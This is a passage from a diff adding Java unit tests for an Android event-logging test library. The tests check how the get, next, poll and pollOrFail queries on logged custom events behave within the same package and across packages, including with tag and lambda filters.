+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void get_alreadyLogged_returnsEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
+    public void get_differentPackage_alreadyLogged_returnsEvent() {
+        logCustomEventOnTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
+    public void next_alreadyLogged_returnsFirstEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void next_differentPackage_alreadyLogged_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void poll_alreadyLogged_returnsFirstEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void poll_differentPackage_alreadyLogged_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void next_hasReturnedAllEvents_returnsNull() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_hasReturnedAllEvents_returnsNull() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void poll_hasReturnedAllEvents_returnsNull() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_hasReturnedAllEvents_returnsNull() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_previouslyCalledNext_returnsNextUnseenEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_previouslyPolled_returnsNextUnseenEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_differentPackage_previouslyPolled_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_previouslyCalledNext_returnsNextUnseenEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_returnsNextUnseenEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_differentPackage_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void get_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void get_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void next_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void next_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void poll_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void poll_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void get_multipleLoggedEvents_returnsFirstEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_differentPackage_multipleLoggedEvents_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_multipleCalls_alwaysReturnsFirstEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_2)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        eventLogs.get();
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_differentPackage_multipleCalls_alwaysReturnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.get();
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+
+        scheduleCustomEventInOneSecond();
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void get_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void next_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+
+        scheduleCustomEventInOneSecond();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void poll_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(CONTEXT)
+                    .setTag(TEST_TAG1)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void next_loggedAfterPreviousCallToNext_returnsNewEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        eventLogs.next();
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_2)
+                .log();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_differentPackage_loggedAfterPreviousCallToNext_returnsNewEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.next();
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_loggedAfterPreviousCallToPoll_returnsNewEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        eventLogs.poll();
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_2)
+                .log();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfterPreviousCallToPoll_returnsNewEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.poll();
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_calledOnSeparateQuery_returnsFromStartsAgain() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(CONTEXT.getPackageName());
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void next_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void poll_calledOnSeparateQuery_returnsFromStartsAgain() {
+        CustomEvent.logger(CONTEXT)
+                .setData(DATA_1)
+                .log();
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(CONTEXT.getPackageName());
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void poll_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void get_obeysLambdaFilter() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+    }
+
+    @Test
+    public void get_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+    }
+
+    @Test
+    public void poll_obeysLambdaFilter() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_obeysLambdaFilter() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void get_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.get();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.get();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void poll_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.poll();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.poll();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.next();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.next();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void pollOrFail_hasEvent_returnsEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_hasEvent_returnsEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void pollOrFail_noEvent_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_loggedAfter_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecond();
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_noEvent_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_loggedAfter_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(CONTEXT)
+                    .setTag(TEST_TAG1)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.pollOrFail()).isNotNull();
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
